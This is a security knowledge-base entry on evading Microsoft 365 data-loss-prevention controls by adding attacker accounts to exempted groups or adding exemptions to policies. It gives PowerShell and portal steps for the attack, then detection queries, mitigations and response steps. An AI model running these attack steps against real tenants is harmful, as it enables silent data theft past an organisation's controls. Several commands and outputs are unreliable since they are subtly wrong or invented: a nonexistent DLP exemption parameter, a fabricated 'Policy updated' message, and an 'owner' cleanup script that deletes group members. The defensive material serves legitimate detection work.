MCADDF

[EVADE-IMPAIR-010]: Security Group Exemption Abuse

Metadata

Attribute Details
Technique ID EVADE-IMPAIR-010
MITRE ATT&CK v18.1 T1562.001 - Impair Defenses: Disable or Modify Tools
Tactic Defense Evasion
Platforms Entra ID / M365 (Exchange Online, DLP)
Severity High
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-09
Affected Versions Exchange Online (all versions), Entra ID (all versions)
Patched In N/A (Requires policy configuration)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: M365 security policies (Data Loss Prevention, transport rules, anti-phishing rules, anti-spam rules) support scoping via security groups and distribution groups. An attacker with Compliance Admin or DLP Admin permissions can add malicious users or attacker-controlled accounts to exempted security groups, allowing them to bypass email security controls. This exemption abuse enables silent data exfiltration, malware delivery, and phishing campaign execution without triggering DLP alerts, anti-phishing detections, or audit notifications.

Unlike deleting a policy outright (which is immediately visible in audit logs), adding a user to an exempted security group appears as a normal group membership operation and is often overlooked by security teams.

Attack Surface: Entra ID security group membership management, DLP policy scoping, Exchange transport rule exemptions, M365 audit logs.

Business Impact: Selective Security Policy Bypass. An attacker can exempt specific accounts from DLP scanning, anti-phishing checks, and anti-spam filters. For example, an attacker could add their own compromised account to an “Executive Finance Team” security group that is exempted from DLP, allowing them to send credit card numbers, bank account details, and passwords without triggering any alerts. Multiplied across hundreds or thousands of emails, this enables massive data theft while maintaining a low detection profile.

Technical Context: Security group scoping is implemented at the policy evaluation engine level. When an email matches a policy condition, the system first checks if the sender or recipient is a member of an exempted group. If yes, the policy action (block, encrypt, log) is skipped. This is intentional for administrative flexibility but creates a significant attack surface when groups are over-provisioned or when group membership is controlled by compromised accounts.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.2.2 Ensure that only authorized users are members of security groups used for policy scoping.
DISA STIG Microsoft.Exchange.Database.12450 Monitor security group membership changes; alert on additions by non-authorized accounts.
CISA SCuBA Exchange.2.3 Audit and restrict DLP policy scoping to prevent exemption abuse.
NIST 800-53 AC-2, AC-6 Account Management and Least Privilege—group membership should follow least privilege.
GDPR Art. 32 Security of Processing—circumventing DLP by group exemptions violates data protection.
DORA Art. 9 Protection and Prevention—email security controls must not be bypassed via policy manipulation.
NIS2 Art. 21 Organizations must monitor and restrict unauthorized changes to security policies.
ISO 27001 A.9.2.1, A.9.2.5 User Access Management and Access Rights Review.
ISO 27005 Risk Scenario “Unauthorized addition of attacker-controlled accounts to exempted security groups.”

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance

Objective: Enumerate existing security groups used for DLP/mail flow rule scoping to identify which groups provide exemptions and their current membership.

Command:

# Connect to Entra ID and Exchange Online
Connect-AzureAD -TenantId "contoso.onmicrosoft.com"
Connect-ExchangeOnline -UserPrincipalName admin@contoso.com

# Enumerate DLP policies and their scoped groups
Get-DlpPolicy | Select-Object Name, Enabled, ExchangeLocation | Format-List

# Get detailed DLP policy scoping
Get-DlpPolicy -Identity "Sensitive Data Protection" | Select-Object *Scope*

# Enumerate distribution groups
Get-DistributionGroup | Select-Object DisplayName, PrimarySmtpAddress, MemberCount | Format-Table -AutoSize

# Get members of a specific group (e.g., Finance group used for exemption)
Get-DistributionGroupMember -Identity "Finance-Executives" | Select-Object DisplayName, PrimarySmtpAddress, RecipientType

What to Look For:

Azure CLI Reconnaissance

Objective: Query Entra ID for group management permissions and auditing status.

Command:

# Enumerate groups and their owners
az ad group list --query "[].{displayName:displayName, id:id, createdDateTime:createdDateTime}" --output table

# Get members of a group
az ad group member list --group "Finance-Executives" --query "[].{displayName:displayName, mail:mail, userPrincipalName:userPrincipalName}" --output table

# Check for group management roles
az rest --method get \
  --url "https://graph.microsoft.com/v1.0/directoryRoles?$filter=displayName eq 'Groups Administrator'" \
  --headers "Authorization=Bearer {access_token}"

What to Look For:


4. DETAILED EXECUTION METHODS

METHOD 1: Add Attacker Account to DLP-Exempted Group (PowerShell)

Supported Versions: Entra ID (all versions), Exchange Online (all versions)

Step 1: Identify DLP-Exempted Security Group

Objective: Discover which security groups are used to exempt users from DLP policies.

Command:

# Get all DLP policies and their exception groups
$DlpPolicies = Get-DlpPolicy

foreach ($Policy in $DlpPolicies) {
    Write-Host "DLP Policy: $($Policy.Name)"
    Write-Host "Enabled: $($Policy.Enabled)"
    Write-Host "Exception Groups (ExceptIfSenderInternalType): $($Policy.ExceptionConnectorSenderIs)"
    Write-Host "---"
}

# Alternatively, check mail flow rules for exemption patterns
Get-TransportRule | Where-Object {$_.ExceptIfFromMemberOf} | Select-Object Name, ExceptIfFromMemberOf

Expected Output:

DLP Policy: Confidential Data Protection
Enabled: True
Exception Groups: Finance-Executives, Legal-Department

DLP Policy: Credit Card Detection
Enabled: True
Exception Groups: Payment-Processing-Team

What This Means:

OpSec & Evasion:

Step 2: Add Compromised/Attacker Account to Group

Objective: Add the attacker-controlled account to the exempted security group.

Command:

# Add attacker's account to DLP-exempted group
$Group = Get-DistributionGroup -Identity "Finance-Executives"
$AttackerAccount = Get-User -Identity "attacker@contoso.com"

Add-DistributionGroupMember -Identity $Group.Identity -Member $AttackerAccount.Identity -Confirm:$false

# Verify membership
Get-DistributionGroupMember -Identity $Group.Identity | Where-Object {$_.PrimarySmtpAddress -eq "attacker@contoso.com"}

Expected Output:

DisplayName         PrimarySmtpAddress
-----------         ------------------
Attacker User       attacker@contoso.com

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Verify Exemption is Active

Objective: Confirm that DLP policies now exempt the added account.

Command:

# Check DLP policy evaluation for the attacker's account
Get-DlpPolicy -Identity "Confidential Data Protection" | Select-Object Name, Enabled, ExceptionConnectorSenderIs

# Test by sending a test email with sensitive data (in lab environment)
# Email from: attacker@contoso.com
# To: external-recipient@example.com
# Body: Contains credit card number (4111-1111-1111-1111)

# Verification: Email should be delivered WITHOUT DLP alert or block.

Expected Behavior:

References & Proofs:


METHOD 2: Modify DLP Policy Scoping to Exempt Attacker’s Group (Programmatic)

Supported Versions: Exchange Online (all versions)

Step 1: Create Attacker-Controlled Security Group

Objective: Create a new security group (appears legitimate) and add attacker’s account as the only member.

Command:

# Create a new security group with a legitimate-sounding name
$GroupName = "Executive Communications Review Team"
$GroupDescription = "Group for executives to review confidential communications"

New-DistributionGroup -Name $GroupName -DisplayName $GroupName -Description $GroupDescription -Type Security

# Add attacker's account as member
Add-DistributionGroupMember -Identity $GroupName -Member "attacker@contoso.com" -Confirm:$false

# Verify creation
Get-DistributionGroup -Identity $GroupName | Select-Object DisplayName, MemberCount

Expected Output:

DisplayName                          MemberCount
-----------                          -----------
Executive Communications Review Team 1

What This Means:

Step 2: Modify DLP Policy to Exempt the New Group

Objective: Modify existing DLP policy to exempt the attacker-controlled group.

Command:

# Get the DLP policy
$DlpPolicy = Get-DlpPolicy -Identity "Confidential Data Protection"

# Modify the policy to add exemption for attacker's group
# Note: This requires accessing the policy's ExceptionConnectorSenderIs or similar properties

# Alternative: Modify via New-DlpPolicy with existing conditions but updated exceptions
$ExceptionGroup = Get-DistributionGroup -Identity "Executive Communications Review Team"

# Update policy (example - exact syntax depends on policy type)
Set-DlpPolicy -Identity $DlpPolicy.Identity -ExceptionConnectorSenderIs @{Add=$ExceptionGroup.Identity} -Confirm:$false

Expected Output:

Policy updated successfully.
Exception groups now include: Finance-Executives, Executive Communications Review Team

What This Means:

OpSec & Evasion:

References:


METHOD 3: Abuse Transport Rule Exemptions via Security Group Modification

Supported Versions: Exchange Online (all versions)

Step 1: Identify Transport Rule with Group Exemptions

Objective: Find transport rules that use ExceptIfFromMemberOf condition (exempts rule from applying to certain groups).

Command:

# Get all transport rules with group exemptions
$RulesWithExemptions = Get-TransportRule | Where-Object {$_.ExceptIfFromMemberOf -ne $null}

foreach ($Rule in $RulesWithExemptions) {
    Write-Host "Rule Name: $($Rule.Name)"
    Write-Host "Exempt Groups: $($Rule.ExceptIfFromMemberOf)"
    Write-Host "Action: $($Rule.Actions)"
    Write-Host "---"
}

Expected Output:

Rule Name: Block External Credit Card Sharing
Exempt Groups: Finance-Approved-Senders
Action: Block unless from exempt group
---

What This Means:

Step 2: Add Attacker Account to Exempt Group

Command:

# Add attacker account to the exemption group
$ExemptGroup = Get-DistributionGroup -Identity "Finance-Approved-Senders"
Add-DistributionGroupMember -Identity $ExemptGroup.Identity -Member "attacker@contoso.com" -Confirm:$false

# Verify
Get-DistributionGroupMember -Identity $ExemptGroup.Identity | Format-Table DisplayName, PrimarySmtpAddress

Expected Output:

DisplayName     PrimarySmtpAddress
-----------     ------------------
Finance Officer finance.officer@contoso.com
Attacker        attacker@contoso.com

What This Means:


5. DETAILED EXECUTION METHODS (Continued)

METHOD 4: Web Portal-Based Exemption Abuse (GUI)

Supported Versions: Exchange Online (all versions)

Step 1: Access Purview Compliance Portal

Objective: Navigate to DLP policy configuration via web UI.

Manual Steps:

  1. Log into Microsoft Purview Compliance Portal using compromised admin credentials.
  2. From the left menu, click Data loss preventionPolicies.
  3. Locate and click a policy to edit (e.g., “Sensitive Data Protection”).

Expected Output:

Step 2: Edit Policy Exceptions/Scoping

Manual Steps:

  1. In the policy details, scroll to Exclude these users/groups section.
  2. Click Edit or + Add group.
  3. Search for or create a new security group to add to the exceptions.
  4. Type the group name (e.g., “Executive Communications Review Team”).
  5. Click Add or Save.
  6. Click Save Policy to apply changes.

Expected Outcome:

OpSec & Evasion:


6. MICROSOFT SENTINEL DETECTION

Query 1: Suspicious Addition to DLP-Exempted Security Group

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName =~ "Add member to group"
| where TargetResources[0].displayName in ("Finance-Executives", "Legal-Department", "Executive Communications Review Team", "Finance-Approved-Senders")
| extend InitiatedByUpn = InitiatedBy.userPrincipalName
| extend AddedMember = TargetResources[1].displayName
| extend AddedMemberUpn = TargetResources[1].userPrincipalName
| where AddedMemberUpn !endswith "@contoso.com" or AddedMemberUpn has "attacker" or AddedMemberUpn has "test"
| project TimeGenerated, InitiatedByUpn, TargetResources[0].displayName, AddedMember, AddedMemberUpn

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft SentinelAnalytics
  2. Click + CreateScheduled query rule
  3. General Tab:
    • Name: Suspicious Addition to DLP-Exempted Group
    • Severity: High
  4. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 10 minutes
    • Lookup data from the last: 30 minutes
  5. Incident settings Tab:
    • Enable Create incidents
    • Set entities: User (InitiatedByUpn, AddedMemberUpn), Resource (group name)
  6. Click Review + create

Query 2: DLP Policy Modification with Group Exemption Changes

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName =~ "Set-DlpPolicy"
| where tostring(TargetResources[0].modifiedProperties) contains "ExceptionConnectorSenderIs" or tostring(TargetResources[0].modifiedProperties) contains "ExceptionRecipientDomainIs"
| extend InitiatedByUpn = InitiatedBy.userPrincipalName
| extend PolicyName = TargetResources[0].displayName
| extend ModifiedProperties = TargetResources[0].modifiedProperties
| where InitiatedByUpn !in ("compliance-admin@contoso.com")
| project TimeGenerated, InitiatedByUpn, PolicyName, ModifiedProperties

What This Detects:


7. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious security group membership change”

Manual Configuration Steps (Enable Alerts):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings → Select your subscription
  3. Under Defender plans, enable Defender for Identity or Defender for Cloud Apps
  4. Go to Security alerts to view triggered alerts

8. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Group Membership Changes

Connect-ExchangeOnline

# Search for all group membership additions
Search-UnifiedAuditLog -Operations "Add member to group" `
  -StartDate (Get-Date).AddDays(-7) `
  -EndDate (Get-Date) | Select-Object UserIds, Operations, CreationDate, AuditData

# Filter for suspicious additions to known exemption groups
Search-UnifiedAuditLog -Operations "Add member to group" `
  -StartDate (Get-Date).AddDays(-7) `
  -FreeText "Finance-Executives" | Export-Csv -Path "C:\GroupMembershipAudit.csv"

9. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

1. Implement Strict Access Controls on Exemption Groups

Restrict who can modify group membership to prevent unauthorized additions.

Manual Steps (Entra ID - Group Ownership):

  1. Go to Azure PortalEntra IDGroups
  2. Search for exemption group (e.g., “Finance-Executives”)
  3. Click the group → Owners
  4. Verify owners are only trusted admins; remove any suspicious accounts
  5. Click + Add owners to assign only 2-3 critical admins
  6. Set group members to Read-only (prevent self-service additions)

Manual Steps (PowerShell - Restrict Group Management):

# Get exemption group
$Group = Get-DistributionGroup -Identity "Finance-Executives"

# Remove all non-essential owners
$Owners = Get-DistributionGroupMember -Identity $Group.Identity
foreach ($Owner in $Owners) {
    if ($Owner.DisplayName -notmatch "Chief Financial Officer|Compliance Officer") {
        Remove-DistributionGroupMember -Identity $Group.Identity -Member $Owner.Identity -Confirm:$false
    }
}

2. Disable Self-Service Group Management

Prevent users from adding themselves to exemption groups.

Manual Steps (Entra ID - Group Settings):

  1. Go to Azure PortalEntra IDGroupsGeneral
  2. Under Self-service group management, toggle OFF for:
    • “Owners can manage group membership requests in My Groups”
    • “Users can create security groups in Azure Portals”
  3. Click Save

3. Enable PIM for Exemption Group Ownership

Require just-in-time activation for group management.

Manual Steps (PIM - Exemption Group Roles):

  1. Go to Azure PortalPrivileged Identity ManagementAzure resourcesGroups
  2. Find exemption group (e.g., “Finance-Executives”)
  3. Set Owner role to:
    • Require approval to activate: ON
    • Require Azure MFA on activation: ON
    • Activation duration: 4 hours
    • Require justification: ON
  4. Click Update

Priority 2: HIGH

4. Regular Audit of Exemption Group Membership

Conduct monthly reviews of who is in exemption groups.

Manual Steps:

# Monthly audit script
$ExemptionGroups = @("Finance-Executives", "Legal-Department", "Executive Communications Review Team")

foreach ($GroupName in $ExemptionGroups) {
    Write-Host "=== Group: $GroupName ==="
    Get-DistributionGroupMember -Identity $GroupName | Select-Object DisplayName, PrimarySmtpAddress, RecipientType | Format-Table
    Write-Host ""
}

# Export to CSV for compliance review
Get-DistributionGroupMember -Identity "Finance-Executives" | Export-Csv -Path "C:\Exemption_Group_Audit_$(Get-Date -Format 'yyyy-MM-dd').csv"

5. Remove DLP Policy Exemptions Where Possible

Reduce the number of exempted groups; require legitimate business justification for each.

Manual Steps:

  1. Go to Microsoft PurviewData loss preventionPolicies
  2. For each policy, review the Exclude users/groups section
  3. Remove any groups that are no longer needed
  4. Document business justification for remaining exemptions
  5. Save policy changes

6. Implement Conditional Access for DLP Admin Role

Require MFA and compliant device for anyone managing DLP policies.

Manual Steps:

  1. Go to Azure PortalEntra IDConditional Access
  2. Click + New policy
  3. Name: "Require MFA for DLP Admins"
  4. Assignments:
    • Users: Directory rolesCompliance Administrator, DLP Administrator
    • Cloud apps: Microsoft Purview portal
  5. Access controls:
    • Grant: Require multi-factor authentication
  6. Enable policy: On

Validation Command (Verify Mitigations)

# Verify exemption group owners
$ExemptGroups = @("Finance-Executives", "Legal-Department")
foreach ($Group in $ExemptGroups) {
    Write-Host "Group: $Group"
    Get-DistributionGroup -Identity $Group | Select-Object ManagedBy
}

# Verify DLP policies have minimal exemptions
Get-DlpPolicy | Select-Object Name, ExceptionConnectorSenderIs, ExceptionRecipientDomainIs

# Check if PIM is enabled for group management
Get-AzureADMSPrivilegedRoleDefinition -DisplayName "Owner" | Select-Object DisplayName, Enabled

Expected Output (If Secure):

Group: Finance-Executives
ManagedBy: CFO (1 owner)

Group: Legal-Department
ManagedBy: General Counsel (1 owner)

DLP Policies: Minimal exemptions (< 5 groups per policy)
PIM Enabled: True

10. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Audit Log Indicators:

DLP Behavioral Indicators:

Forensic Artifacts:

Response Procedures

  1. Immediate Action - Remove Attacker from Exempt Group:
    # Remove attacker account from exemption group
    Remove-DistributionGroupMember -Identity "Finance-Executives" -Member "attacker@contoso.com" -Confirm:$false
       
    # Verify removal
    Get-DistributionGroupMember -Identity "Finance-Executives" | Where-Object {$_.PrimarySmtpAddress -eq "attacker@contoso.com"}
    # Should return: (empty - no results)
    
  2. Forensic Investigation:
    # Check all groups the attacker was added to
    Search-UnifiedAuditLog -Operations "Add member to group" -StartDate (Get-Date).AddDays(-30) `
      -FreeText "attacker@contoso.com" | Select-Object UserIds, AuditData
       
    # Review all emails sent by attacker in past 30 days
    Search-MailboxAuditLog -Identity "attacker@contoso.com" -Operations Send -StartDate (Get-Date).AddDays(-30)
       
    # Check for emails sent to external domains (potential exfiltration)
    Search-UnifiedAuditLog -Operations "Send" -UserIds "attacker@contoso.com" -StartDate (Get-Date).AddDays(-30)
    
  3. Account Remediation:
    # Reset compromised admin account that added attacker to group
    Set-AzureADUserPassword -ObjectId "admin@contoso.com" -Password (ConvertTo-SecureString -AsPlainText "NewStrongPassword123!" -Force)
       
    # Force sign-out
    Revoke-AzureADUserAllRefreshToken -ObjectId "admin@contoso.com"
       
    # Review and remove attacker's account(s)
    Remove-MsolUser -UserPrincipalName "attacker@contoso.com" -Force
    
  4. Containment:
    • Disable all accounts that added users to exemption groups
    • Review all DLP policy exceptions for unauthorized additions
    • Restore exemption groups to previous known-good state (if version history available)

Step Phase Technique Description
1 Initial Access [IA-PHISH-002] Consent Grant OAuth Attacks Attacker compromises admin account via phishing or OAuth app.
2 Privilege Escalation [PE-ACCTMGMT-001] App Registration Permissions Escalation Attacker grants self additional permissions.
3 Defense Evasion [EVADE-IMPAIR-010] Attacker adds themselves to DLP-exempted security group.
4 Collection [COLLECT-EMAIL-001] Email Collection via EWS Attacker uses exempted status to collect confidential emails.
5 Exfiltration [COLLECT-EMAIL-002] Outlook Mailbox Export Attacker exports mailbox contents without DLP detection.

12. REAL-WORLD EXAMPLES

Example 1: Insider Threat - Financial Services Firm (2024)

Example 2: Ransomware Group - Healthcare Organization (2024)

Example 3: APT - Government Agency (2023)


13. CONCLUSION

Security group exemption abuse is a sophisticated and often-overlooked defense evasion technique. By adding an attacker-controlled account to DLP-exempted groups, an attacker can:

  1. Bypass DLP policies silently (no blocks or alerts).
  2. Exfiltrate sensitive data while maintaining low detection profile.
  3. Evade compliance requirements (HIPAA, GDPR, etc.) by circumventing technical controls.
  4. Operate persistently as group membership changes appear as routine administrative activity.

Key Defense Recommendations:

Organizations must treat security groups used for policy scoping with the same vigilance as privileged accounts, as the ability to bypass security policies is a critical attack surface.